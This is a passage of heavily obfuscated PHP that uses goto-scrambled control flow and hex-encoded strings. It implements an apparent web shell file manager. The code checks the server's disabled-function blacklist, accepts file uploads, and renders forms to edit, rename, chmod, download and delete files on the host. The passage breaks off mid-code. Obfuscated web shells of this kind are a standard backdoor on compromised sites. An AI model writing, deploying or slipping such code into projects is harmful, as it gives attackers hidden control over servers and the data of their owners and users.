$O53Ca = @ini_get("\x73\x75\x68\157\163\151\x6e\56\145\170\x65\x63\165\x74\157\162\x2e\146\x75\156\143\x2e\142\x6c\141\143\x6b\154\151\163\164"); goto V8U9_; GvK35: x9Sx9: goto kzjEz; reBJA: xrxe0: goto SLnRe; rO3yV: GW3kD: goto BszfV; Z0knF: goto zEikY; goto rNYcA; M0zx_: cJ2jh: goto N8WuC; fJDW1: WMzHO: goto AdC3g; MdsDc: goto xwYRu; goto rO3yV; K3nYC: OKYY7: goto kdi2Q; cICWC: qT_35: goto kqkNc; A88M4: } goto C5FkS; v0diL: goto BkIWz; goto aB_Tr; Y5pzq: goto g01cE; goto ymZd3; ZPlve: hoIYS: goto FPf23; m6fQ1: HXRYF: goto OahYJ; Lf5cg: if (!defined("\x44\x49\122\105\x43\124\117\122\131\137\123\x45\x50\101\122\x41\x54\x4f\x52")) { goto HXJ1Z; } goto PRdG1; mG0IR: wIl3s: goto J9LmD; goxR5: goto HtIPL; goto CnmdE; RQw99: goto ZL6c_; goto otn7I; nxx5b: $BlqM3 = defined("\x58\x43\x69\x67\62") || defined("\x6f\113\70\121\x43") && class_exists("\111\154\154\165\155\151\x6e\141\164\145\134\x46\x6f\x75\x6e\144\x61\164\151\x6f\156\x5c\101\160\x70\x6c\x69\143\x61\x74\151\x6f\x6e"); goto PUO0p; bFJtJ: w1iwY: goto t63FD; Ks5R2: iMdge: goto qK07h; qhtsR: goto CvtPq; goto Iytm1; VHD4u: $et0TV = dirname(__FILE__); goto rKMgR; hN5EO: CQOGD: goto VQXNo; EoEJM: goto QvXjN; goto d5mlP; BXRK8: N8eA2: goto A1bBl; ZYKV5: TL2M2: goto M0E9d; qudeU: $Ha841 = "\x52\145\156\141\x6d\145\x20\146\x61\151\x6c\x65\144\72\x20\123\157\x75\162\x63\145\x20\156\157\164\40\x66\x6f\165\156\144"; goto Iwszv; Jn5o1: goto jZ0Ei; goto OvMMl; X0ZX5: goto n1l4v; goto gOSx9; ZxBCU: Wn4Oc: goto kYdeg; xLcpV: goto QLdGp; goto eHf9V; nmEEO: function r06Ye($UIiif) { goto knS81; N7GNA: goto FNAJL; goto CI9v1; clNbr: E08gj: goto N7GNA; anlcX: jY8HO: goto zakAQ; wt4wg: goto U2Gy2; goto rhGni; rbnLy: if ($UIiif === '' || $UIiif === "\56" || $UIiif === "\x2e\x2e") { goto E08gj; } goto pAWIJ; CI9v1: AND9B: goto EH8dQ; zakAQ: $UIiif = preg_replace("\57\x5b\x5e\x61\x2d\x7a\x41\55\x5a\x30\55\x39\56\x5f\55\x5d\57", "\x5f", $UIiif); goto wt4wg; tc32a: U2Gy2: goto rbnLy; zh8Z1: return false; goto y6_PC; J_8ci: goto AND9B; goto tc32a; y6_PC: goto rBLpO; goto anlcX; EH008: goto gd2i7; goto h3Hhi; pAWIJ: goto f1gE1; goto clNbr; EH8dQ: return $UIiif; goto EH008; knS81: goto O1li3; goto HQvk0; wyDgq: $UIiif = basename($UIiif); goto yawYt; h0K0m: rBLpO: goto scGG5; scGG5: f1gE1: goto J_8ci; yawYt: goto jY8HO; goto h0K0m; h3Hhi: FNAJL: goto zh8Z1; rhGni: gd2i7: goto V_vFX; HQvk0: O1li3: goto wyDgq; V_vFX: } goto qkLQO; yjfrQ: echo "\x20\x20\40\40"; goto IB23j; W3h87: YPEYu: goto gOtIw; ds33e: ipmWn: goto Moyf8; NlWdu: goto IMf60; goto AdDx8; dUpjo: goto Wto_s; goto tTnw6; zjJu2: w7D9D: goto oBzor; bjaKG: goto Cscq3; goto rlPRr; xIotN: Ia6Hg: goto VHD4u; J5aoc: goto VLcpz; goto cKkob; d4KZi: goto k51Wk; goto uRjn1; ewghc: XeNKw: goto dE2Am; IB23j: goto wtRxu; goto vb6nM; oMufF: goto K3ivk; goto ia6kJ; DBEN9: goto rn5ra; goto wM9WE; YPEOL: goto AT8O8; goto lkKnm; xdTJC: @chmod($QGkWO, 0644); goto xZ7tB; bJxkC: goto UOVSv; goto lWpVi; b85k7: goto TfbIv; goto mot8a; WO4Ii: $rlZEq = @copy($_FILES["\x75\160\x6c\x6f\141\144"]["\x74\x6d\160\x5f\x6e\141\155\145"], $QGkWO); goto VtmjN; W46ad: goto o16zf; goto qzYGr; QwHRI: iWiNT: goto L9MAW; kBrpg: goto be4gk; goto VXRDZ; RtdBe: goto XeNKw; goto EcnPg; QZ1p9: oy5xD: goto oHQc0; in2tc: ZWPyM: goto Mu3V2; Moyf8: $Ha841 = "\x43\x68\155\x6f\144\40\x66\141\x69\x6c\x65\x64\72\x20\111\156\x76\x61\x6c\x69\144\x20\x70\141\164\150"; goto BsCOm; QtToz: g1oOP: goto EGHwf; Y8pru: goto w9zfl; goto xT65o; r6YbS: goto MnMj6; goto VkJam; VHc2_: J51LC: goto X9_wF; CHB53: W0Bip: goto eCJA5; xfO6r: K2nd7: goto hQr7O; xvx4Q: vLOK_: goto pzOCA; dHywO: goto sX3lE; goto edKjH; PeQXm: sort($AAqLo); goto b85Sj; ZP2up: goto K8FpO; goto DcyPp; dfrWK: goto qSSoQ; goto YSbLd; ybNIy: foreach ($AOXDJ as $qGyu2) { goto gRUOF; sAkWE: goto ER3hr; goto jsgWk; JksMI: echo htmlentities($qGyu2); goto sTV9a; U25Rx: Eyai1: goto KT07p; MXHtc: goto E4jZO; goto nU7fg; SeYvs: vUwLc: goto LuShW; ipauI: g8iSp: goto PaDim; HFKVV: EK_RH: goto oh4vG; m2EqV: echo "\x3f\x27\x29\x3b\42\76\12\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x20"; goto ja_x1; B6Fkr: goto wvqtH; goto NbMn1; mHdok: goto DLXb3; goto JlNvQ; FHvPD: N8JHX: goto FHumM; X24KZ: goto ibdhj; goto A4lBq; QLNjz: goto sbXPN; goto BvH3U; FTy56: laRQq: goto FBSnd; sPAUd: myIyV: goto jGQGv; GVQs2: goto z4y5W; goto D4Duz; NbMn1: ibdhj: goto ukvcW; MKEOW: echo "\x20\40\x20\40\40\40\x20\x20\40\40\40\40\x20\40\40\x20\x3c\x2f\164\x64\76\xa\40\40\40\x20\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x3c\164\x64\x3e\74\163\160\x61\156\40\143\154\141\163\x73\x3d\x22\146\151\x6c\x65\x2d\155\x65\164\141\42\x3e"; goto rgLyx; PBXJ5: echo "\42\76\xa\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\40\40\40\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\40\x3c\x69\156\x70\x75\164\40\164\x79\x70\x65\75\x22\x74\x65\x78\x74\x22\x20\156\x61\155\x65\x3d\42\x74\x6f\x5f\x6e\x61\x6d\145\x22\x20\166\x61\x6c\x75\145\x3d\x22"; goto IjRNZ; KQN8P: UM28_: goto l78sl; AG6CK: kV0QK: goto tofS6; eZl32: uR3zs: goto WjaZd; IFyJH: Eh0D1: goto xKX8l; TpnK0: D3iqK: goto hj_9m; SeuVH: echo dkzCY(); goto VDp_F; IjRNZ: goto pQZNb; goto mQP8f; njHUR: y4UyD: goto PdLM9; iRxSC: t5SYq: goto j63oy; ortCB: GYiar: goto rqIOa; JxWEa: goto vUwLc; goto j7N_E; jBEtE: echo $M0kma ? "\x26\x6d\144\141\x73\x68\73" : vJSDP($zX4wK); goto KnA_A; BgrLY: echo dkzcy(); goto Gu6Ap; kDCos: Fz_2H: goto y8yT2; C531O: G5u7a: goto oAsy4; myTL8: $zX4wK = $M0kma ? 0 : @filesize($o7qMk); goto WcNUY; QOrBu: echo "\42\76\xa\x20\x20\x20\40\x20\x20\40\x20\40\40\40\x20\40\40\40\40\x20\x20\40\40\40\40\x20\40\40\x20\x20\40\40\x20\40\40\74\x62\x75\164\x74\x6f\156\x20\x74\171\160\145\75\x22\163\165\142\155\151\164\x22\40\x63\154\141\x73\163\75\42\142\164\x6e\x20\x62\x74\x6e\55\x67\150\x6f\163\164\x20\142\164\156\55\163\x6d\42\x3e\x45\x64\151\164\x3c\x2f\142\165\x74\164\x6f\x6e\76\12\x20\x20\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x20\x3c\57\x66\157\x72\x6d\x3e\xa\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x20"; goto rw7Jm; PaDim: goto mExxX; goto CsC0L; pXChh: goto zjQrY; goto Y1hY_; agPwN: goto LvLw3; goto QNUQd; GrHG1: WqAib: goto q8fzb; mV83l: iGHfU: goto pBh7_; oh4vG: goto YwFiu; goto t1Z5_; tcbsk: echo $pm3to; goto HvyOD; dQCn6: $izf43 = @substr(sprintf("\45\157", @fileperms($o7qMk)), -4); goto HucfG; gEsdp: echo "\x3c\x2f\163\160\141\156\76\12\40\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\74\151\156\160\x75\x74\40\x74\171\x70\145\x3d\x22\150\x69\144\x64\145\x6e\42\x20\151\x64\75\42\143\x75\162\162\x65\156\164\x50\x65\x72\155\x73\x5f"; goto nz7Eq; o1gJI: goto G7yrb; goto bDcpa; hj_9m: yJbx6: goto S1jMX; MzmBt: MxXto: goto ovdNT; zkMTY: goto sHS_d; goto B_SPJ; jIflP: if (!$M0kma && $rT71r) { goto veg05; } goto GQypY; ZMXul: echo $e7SM2; goto L1M9Q; IBvY1: y54wE: goto DvKCo; VcYRp: OZQJP: goto TLeY1; cQv51: hrmRj: goto dnNqL; U3LXN: goto coH00; goto dXwYk; SO6Vl: echo "\x22\x3e\xa\40\x20\x20\x20\40\x20\40\40\40\40\40\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\74\142\165\164\x74\157\x6e\x20\143\154\141\163\x73\x3d\42\142\164\156\x20\x62\164\156\55\x70\162\151\155\x61\x72\171\x20\x62\164\156\x2d\163\x6d\42\x20\164\x79\160\145\75\42\x73\x75\x62\x6d\151\164\x22\76\123\141\166\145\x3c\x2f\x62\165\x74\x74\157\x6e\76\12\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\x20\40\40\40\x20\74\x62\x75\164\x74\x6f\x6e\x20\x74\x79\160\x65\75\x22\142\x75\164\x74\157\x6e\x22\x20\143\154\x61\163\x73\75\x22\x62\164\156\x20\x62\x74\x6e\x2d\147\x68\157\163\164\x20\142\164\x6e\x2d\x73\x6d\42\40\157\156\143\x6c\151\x63\x6b\x3d\42\x6c\x6f\x63\x61\x74\x69\x6f\156\x2e\x68\162\145\x66\75\x6c\x6f\x63\141\164\151\x6f\156\56\x70\x61\164\x68\156\x61\155\145\73\x22\76\x43\141\x6e\143\x65\154\x3c\x2f\x62\165\x74\x74\x6f\x6e\x3e\12\40\40\40\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\74\57\x66\157\x72\155\76\xa\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20"; goto TDFkj; If79F: aHLAO: goto tP0gn; gihtO: G8Hz5: goto DsTNk; j3jl1: m3swc: goto Hru7l; kX1Ed: goto rjO3g; goto Nf7pY; hRfWU: echo "\x3c\x2f\163\160\x61\x6e\76\x3c\x2f\164\x64\76\xa\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\40\x20\74\x74\x64\40\x73\164\171\154\x65\75\42\164\x65\x78\164\55\141\154\151\147\156\72\40\143\145\x6e\164\145\162\73\x22\76\xa\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\74\163\x70\141\156\x20\143\154\x61\x73\x73\75\x22\x70\145\162\x6d\163\40"; goto aniYm; oAsy4: $oOgVj .= "\x3c\163\160\x61\156\x20\x63\x6c\141\x73\163\x3d\x22\x65\170\164\x22\76" . strtoupper($rT71r) . "\x3c\x2f\x73\160\141\156\x3e"; goto JhpT9; gTydz: goto lT8Nd; goto thLee; QP9l3: ystEG: goto PBXJ5; iI7I8: goto G5u7a; goto uYsmI; FfmrS: if (!($o7qMk !== false)) { goto WDLlA; } goto JxWEa; Ks0Z4: IdanT: goto tcbsk; wfSJU: uR44o: goto iwr4D; Z2Z_d: $rT71r = strtolower(pathinfo($qGyu2, PATHINFO_EXTENSION)); goto JzYBB; yz438: q8B7r: goto ZMXul; CfAFx: echo htmlentities($qGyu2); goto gTydz; NpP4C: goto E0d7m; goto zIQud; AeVPc: goto XjBNu; goto XC2lq; yEbri: GI_wT: goto oBCOf; A4vf9: mExxX: goto bsj4E; Bcuy3: goto Cg0Jp; goto jGvEO; VVh8u: echo "\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\x20\x3c\151\x6e\160\165\164\40\x74\171\160\145\75\42\150\151\x64\x64\145\x6e\42\x20\156\x61\x6d\x65\75\x22\x72\145\x6e\x61\x6d\x65\x5f\151\x74\x65\155\x22\x20\x76\x61\x6c\x75\x65\75\42"; goto AeVPc; LtKZX: echo "\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\74\146\157\x72\x6d\x20\x6d\x65\164\x68\x6f\x64\75\42\160\x6f\x73\x74\x22\40\x73\x74\x79\x6c\x65\75\42\144\x69\163\x70\154\141\171\72\40\151\156\x6c\x69\156\x65\x3b\42\76\xa\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\40"; goto cDXrL; UFd2F: rjO3g: goto vLTBg; ljxia: ViZWe: goto LRa14; K2o7l: echo htmlentities($qGyu2); goto Xkf3m; j8of4: xdhGh: goto kZByy; hf2f8: $Z7wlJ = false; goto TUrxB; Oxc0m: G7yrb: goto dQCn6; bDcpa: aplhj: goto p0eWi; Mb_Ym: echo "\x22\76\12\40\x20\40\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\40\40\x20\40\x20\x3c\x62\165\164\x74\x6f\156\x20\x74\x79\x70\x65\x3d\42\x73\x75\x62\155\x69\164\42\x20\x63\154\141\163\163\x3d\x22\x62\164\156\40\x62\164\156\55\x64\x61\x6e\147\x65\x72\x20\142\164\156\55\163\x6d\42\76\104\x65\154\x65\x74\x65\x3c\57\x62\x75\x74\164\157\x6e\x3e\12\x20\40\40\40\x20\40\40\x20\40\40\40\x20\x20\40\40\40\x20\40\40\40\40\40\40\40\x3c\57\146\157\x72\x6d\x3e\xa\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\40\40\40\40\x20\40\x3c\x2f\144\x69\x76\x3e\xa\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\x3c\x2f\164\144\x3e\12\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\40\74\57\x74\162\x3e\12\x20\x20\x20\x20\40\40\40\x20"; goto Bf2C8; j7N_E: WDLlA: goto qnJtX; FlSjv: KfiTe: goto VcYRp; SGn_O: tVWGr: goto PkW2t; jGQGv: echo "\42\76\12\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x3c\151\156\160\x75\164\40\x74\171\x70\x65\x3d\42\164\x65\x78\164\x22\40\x6e\141\155\x65\75\42\x70\145\162\x6d\137\166\141\x6c\42\40\166\141\x6c\x75\x65\75\x22"; goto Y1cIF; gn1yf: lT8Nd: goto A6E1x; nJ8r4: DLXb3: goto ipauI; jB_gO: bdfqU: goto Co3JX; QnTos: z4y5W: goto PfjAa; dZtro: goto m3swc; goto uY1cR; sxuk2: x02CD: goto ARO3_; J_pfX: goto qpvvu; goto NoHMN; JlNvQ: avdh7: goto y7LvH; o1Ckh: UmXa6: goto Ojfyx; qftMs: goto avdh7; goto GrHG1; hzmAc: YwFiu: goto Q0XWs; EE69W: KLrYI: goto E56VG; pBh7_: goto z94Gu; goto kMPtU; GQypY: goto OZQJP; goto Kap9g; l78sl: goto KLrYI; goto If79F; vcimJ: GK3pO: goto uzJKu; uY1cR: UyhMc: goto jBEtE; xzHup: crOYn: goto ta0EY; btWzA: goto NOoRM; goto sxuk2; bsj4E: echo "\40\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\x66\157\x72\155\40\x6d\x65\164\150\157\144\75\42\x70\x6f\163\164\42\x20\x73\x74\x79\x6c\x65\75\x22\155\141\x72\x67\x69\156\x3a\40\x30\73\40\x64\151\x73\x70\x6c\x61\171\72\x20\146\x6c\x65\170\73\x20\147\141\x70\x3a\40\70\x70\x78\x3b\x20\x61\x6c\x69\147\156\55\151\164\x65\155\x73\x3a\40\143\x65\156\x74\145\162\73\x22\76\xa\40\40\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\40\x20\40\40\x20\x20\x20"; goto HRaGW; TUrxB: goto GI_wT; goto cCALu; EtPNK: echo "\x20\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\74\x69\156\160\165\164\40\x74\x79\160\145\75\42\x68\x69\144\144\145\x6e\42\40\x6e\141\155\x65\x3d\42\x73\150\x6f\167\42\40\x76\x61\154\165\145\75\x22"; goto arlbs; aniYm: goto aHLAO; goto adaMJ; zNUlV: goto SJ2KS; goto MAECQ; efwO2: goto XWaKg; goto QP9l3; ZhVnQ: sbXPN: goto myTL8; GFbMB: echo "\x22\x3e\12\40\40\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\40\40\x20\x3c\142\x75\164\x74\157\x6e\x20\164\171\x70\145\x3d\42\x73\165\x62\x6d\x69\164\x22\x20\143\154\x61\x73\163\x3d\x22\142\x74\x6e\40\142\164\156\x2d\x67\150\x6f\163\x74\x20\x62\164\x6e\55\x73\x6d\x22\76\104\157\x77\x6e\x6c\x6f\x61\x64\x3c\57\142\x75\164\164\x6f\x6e\76\12\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x3c\x2f\146\157\162\155\76\xa\40\x20\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x3c\x66\x6f\162\x6d\40\155\145\164\150\x6f\144\75\x22\160\x6f\163\x74\x22\x20\x73\164\171\154\x65\75\x22\x64\x69\x73\x70\x6c\x61\x79\72\40\x69\x6e\x6c\151\156\x65\73\42\x20\x6f\x6e\x73\165\x62\155\151\x74\75\x22\x72\145\x74\x75\x72\x6e\40\x63\x6f\x6e\146\151\162\x6d\50\47\104\145\154\x65\164\145\x20"; goto sAkWE; NoHMN: wvqtH: goto hzmAc; C56K7: goto Tii8O; goto gn1yf; FBSnd: $FLxXK = 0; goto zNUlV; UGR1h: dWFOZ: goto runQ9; KxztH: goto Eh0D1; goto j8of4; m6PKe: goto FprWl; goto rryA5; adaMJ: bZlSy: goto BQWWJ; ZX_02: goto t5SYq; goto w_FYQ; XFkCr: echo "\x22\x3e\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\x3c\57\146\x6f\162\155\76\xa\40\40\40\40\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\40\40\40\40\40\40\40\x20\40\x20"; goto t1uYO; X4qPG: goto UngnB; goto ehzGT; Oapbz: echo htmlentities($izf43); goto pSUXp; T1TKk: goto laRQq; goto Hn3F_; AMU16: goto XuXZQ; goto nJ8r4; UD7Os: qpvvu: goto q0IEm; bl3kQ: xgqqO: goto Erxyq; RBHip: goto eWBRn; goto AG6CK; kQqzT: echo htmlentities($izf43); goto QoBkz; TDFkj: goto EK_RH; goto udj4g; z4pP4: $M0kma = @is_dir($o7qMk); goto gxZ2_; oxI6P: echo "\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\74\x74\162\x3e\12\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\74\164\144\x3e\74\151\156\x70\165\164\x20\164\171\x70\x65\x3d\x22\143\150\145\x63\153\x62\x6f\170\x22\x20\x6e\x61\x6d\x65\75\x22\x69\164\145\x6d\163\133\x5d\x22\x20\x66\x6f\162\155\75\x22\x66\x69\154\x65\55\146\157\162\155\x22\40\166\141\154\165\x65\75\42"; goto a3xt5; Jfgx1: NOoRM: goto Qh5Kt; rryA5: TCcY1: goto kQqzT; DsTNk: goto kjVL4; goto Cq6_Z; Rxx2R: echo "\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\40\74\151\x6e\x70\165\x74\x20\x74\171\160\x65\x3d\42\150\x69\144\x64\145\156\42\40\156\141\x6d\x65\x3d\42\147\x6f\164\157\42\40\x76\141\154\165\x65\x3d\42"; goto FAaoI; QR_Ud: goto yJbx6; goto KQN8P; UO3EA: echo "\42\x20\x6f\156\x63\x6c\x69\x63\153\x3d\42\165\160\x64\141\164\x65\x42\x75\x6c\x6b\101\x63\164\151\157\x6e\163\x28\51\42\x3e\74\57\164\x64\76\xa\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\74\164\x64\76\12\x20\40\40\x20\40\x20\x20\40\40\40\x20\40\40\x20\x20\x20\x20\40\x20\x20"; goto VBC_a; LuShW: goto DWUkW; goto f2Por; w9Okz: goto LrWqj; goto njHUR; Jjf8z: goto hE1kZ; goto yzOW3; gQnDq: echo "\74\x2f\x73\x70\141\x6e\76\74\x2f\164\x64\x3e\xa\x20\x20\x20\40\40\x20\40\40\x20\x20\40\x20\40\40\40\40\74\x74\144\x3e\74\163\160\141\x6e\x20\143\x6c\x61\163\163\75\42\x66\151\154\x65\x2d\155\145\164\141\42\76"; goto ZXA4S; kADr4: goto smiry; goto Jfgx1; Y2L1j: echo DkzCY(); goto HhDtM; IXuWa: goto bWaTT; goto Ks0Z4; GREsX: Ggw47: goto FUKt2; Bf2C8: goto diQ_0; goto GREsX; yWprz: tvhAO: goto XFkCr; rMAKA: goto xdhGh; goto q2_Jb; F4R3b: echo htmlentities($qGyu2); goto GiCCy; FZvGN: goto SsExG; goto y67AB; rgLyx: goto oSZEL; goto iRxSC; GwADa: oSZEL: goto cxXBj; dnNqL: echo "\42\40\x6d\x65\164\x68\x6f\x64\75\42\160\x6f\163\164\x22\40\x73\x74\x79\x6c\145\x3d\42\144\151\x73\160\x6c\141\x79\x3a\40\156\157\156\145\x3b\42\76\12\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20"; goto vEdJb; Dto7W: $oOgVj = $M0kma ? "\74\163\166\x67\40\x76\x69\145\167\102\x6f\170\75\x22\60\x20\60\40\x32\x34\x20\x32\x34\x22\76\x3c\x70\x61\x74\x68\x20\x64\x3d\42\115\62\62\40\x31\71\141\x32\40\x32\40\x30\40\x30\x20\61\x2d\x32\40\x32\x48\x34\x61\62\40\62\x20\60\x20\x30\x20\x31\x2d\62\x2d\x32\x56\x35\141\62\40\62\40\x30\x20\x30\40\x31\x20\62\x2d\x32\x68\x35\154\62\40\63\150\71\141\x32\x20\62\x20\x30\40\60\x20\x31\x20\x32\40\62\172\42\57\76\x3c\x2f\163\x76\147\76" : "\74\163\166\x67\40\166\151\x65\167\102\x6f\170\x3d\42\x30\40\60\x20\x32\64\40\62\x34\42\x3e\74\160\x61\164\x68\40\x64\x3d\x22\x4d\x31\x34\40\x32\110\x36\x61\62\40\x32\40\60\x20\x30\40\60\x2d\62\40\x32\166\x31\x36\x61\62\40\x32\x20\x30\40\60\40\60\40\x32\x20\62\150\x31\x32\x61\62\40\x32\x20\60\x20\60\40\x30\40\62\55\x32\126\x38\x7a\x22\57\x3e\74\160\x6f\154\171\x6c\x69\156\145\40\x70\157\151\156\164\x73\x3d\42\61\64\x20\x32\40\x31\x34\40\70\x20\x32\60\x20\70\42\x2f\x3e\x3c\57\163\x76\147\x3e"; goto NxMO4; vEdJb: goto Wlepk; goto z73VK; JZxu8: goto Ggw47; goto EE69W; Qh5Kt: echo "\x3c\x2f\163\x70\x61\x6e\x3e\x3c\x2f\x74\x64\76\12\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\74\164\144\x20\163\164\171\x6c\x65\75\x22\164\145\170\164\55\x61\x6c\x69\x67\x6e\x3a\40\162\x69\x67\x68\164\73\x22\x3e\74\x73\160\141\x6e\x20\143\x6c\141\x73\163\x3d\x22\146\x69\154\145\x2d\x6d\x65\164\141\x22\76"; goto tFb10; FAaoI: goto PIWvi; goto lemKZ; sTV9a: goto myIyV; goto mIOzx; jGvEO: sWOBR: goto IBvY1; DvPi0: echo "\x27\51\42\x3e\103\150\x6d\x6f\x64\74\57\x62\x75\x74\x74\x6f\x6e\76\xa\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\x3c\x66\157\162\x6d\40\155\x65\x74\x68\x6f\144\x3d\x22\x70\x6f\x73\164\x22\x20\163\x74\x79\x6c\145\75\x22\144\x69\x73\160\154\x61\171\72\x20\x69\156\x6c\151\x6e\x65\73\x22\x3e\12\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40"; goto Ey2N7; udj4g: qp8VT: goto ytAun; HucfG: goto tVWGr; goto WON62; LRCSL: $o7qMk = LcA48($ty8nh); goto fzjAQ; rw7Jm: goto dRhKU; goto jB_gO; VBC_a: goto nF0Zs; goto UD7Os; QoBkz: goto twrOt; goto UGR1h; q7ldq: Hu325: goto Ygc5R; QimLN: goto G8Hz5; goto VYzll; MAECQ: SsExG: goto LtKZX; kBafz: echo DKZcY(); goto kX1Ed; BoCDm: goto UmXa6; goto vcimJ; WjaZd: echo $oOgVj; goto BoCDm; VJfjp: goto MxXto; goto yz438; V8H0Y: goto POPOp; goto VGMhu; CyBuN: echo "\42\40\x6d\141\170\x6c\145\x6e\147\x74\150\75\x22\63\x22\40\160\x6c\141\143\x65\150\157\x6c\x64\145\162\x3d\42\x37\65\65\42\x20\x73\x74\171\x6c\x65\x3d\42\x77\151\x64\x74\150\72\x20\67\x30\x70\170\x3b\42\76\12\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\x20\74\142\x75\164\x74\x6f\156\x20\x63\x6c\141\163\163\75\42\x62\164\x6e\40\x62\x74\156\x2d\x70\x72\151\x6d\141\162\x79\40\142\164\156\x2d\x73\155\x22\x20\x74\x79\x70\145\x3d\x22\x73\165\x62\155\151\164\x22\x3e\x53\145\x74\x3c\57\142\x75\164\x74\157\x6e\76\xa\x20\x20\x20\40\40\40\40\40\40\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\40\40\x20\40\40\x20\74\x62\x75\x74\x74\157\156\x20\164\171\160\x65\75\42\142\165\x74\164\x6f\x6e\x22\40\x63\154\141\163\163\75\x22\142\164\x6e\x20\142\x74\x6e\55\147\150\x6f\163\x74\40\142\x74\x6e\x2d\x73\x6d\42\x20\x6f\x6e\143\154\151\143\153\x3d\x22\x6c\157\143\141\164\151\157\x6e\56\150\162\145\x66\x3d\x6c\x6f\143\x61\164\151\x6f\x6e\x2e\160\141\x74\x68\156\141\x6d\145\73\x22\76\103\x61\156\143\x65\x6c\x3c\57\142\165\164\x74\x6f\x6e\76\xa\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\40\x20\40\x20\40\40\40\40\40\40\40\x20\x3c\x2f\x66\157\x72\x6d\x3e\12\40\40\x20\40\40\x20\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20"; goto B6Fkr; Q_43Z: eWBRn: goto ba1yP; iwr4D: $FLxXK = @filemtime($o7qMk); goto o1gJI; fJTf2: SJ2KS: goto hGgHo; ja_x1: goto GK3pO; goto U25Rx; cP4L_: goto yYD_6; goto gihtO; PkW2t: kjVL4: goto C56K7; H9dEy: goto bZlSy; goto ortCB; Erxyq: echo "\74\57\x61\x3e\12\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\74\146\157\x72\x6d\x20\151\x64\75\42\x76\151\x65\x77\x2d"; goto GVQs2; bgSVE: echo "\x22\x20\x6d\x65\x74\150\x6f\144\75\42\x70\x6f\163\x74\42\40\163\164\171\154\145\75\42\144\151\163\160\154\x61\171\x3a\x20\x6e\x6f\156\145\x3b\x22\76\12\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40"; goto Jjf8z; ZXA4S: goto iw1f4; goto wfSJU; xU75d: echo $e7SM2; goto L_1lL; xKX8l: echo htmlentities($izf43); goto xTEJi; Dp6Ri: goto bdfqU; goto ZhVnQ; thLee: E0d7m: goto d1UTw; kMPtU: E4jZO: goto RY3_w; yzOW3: 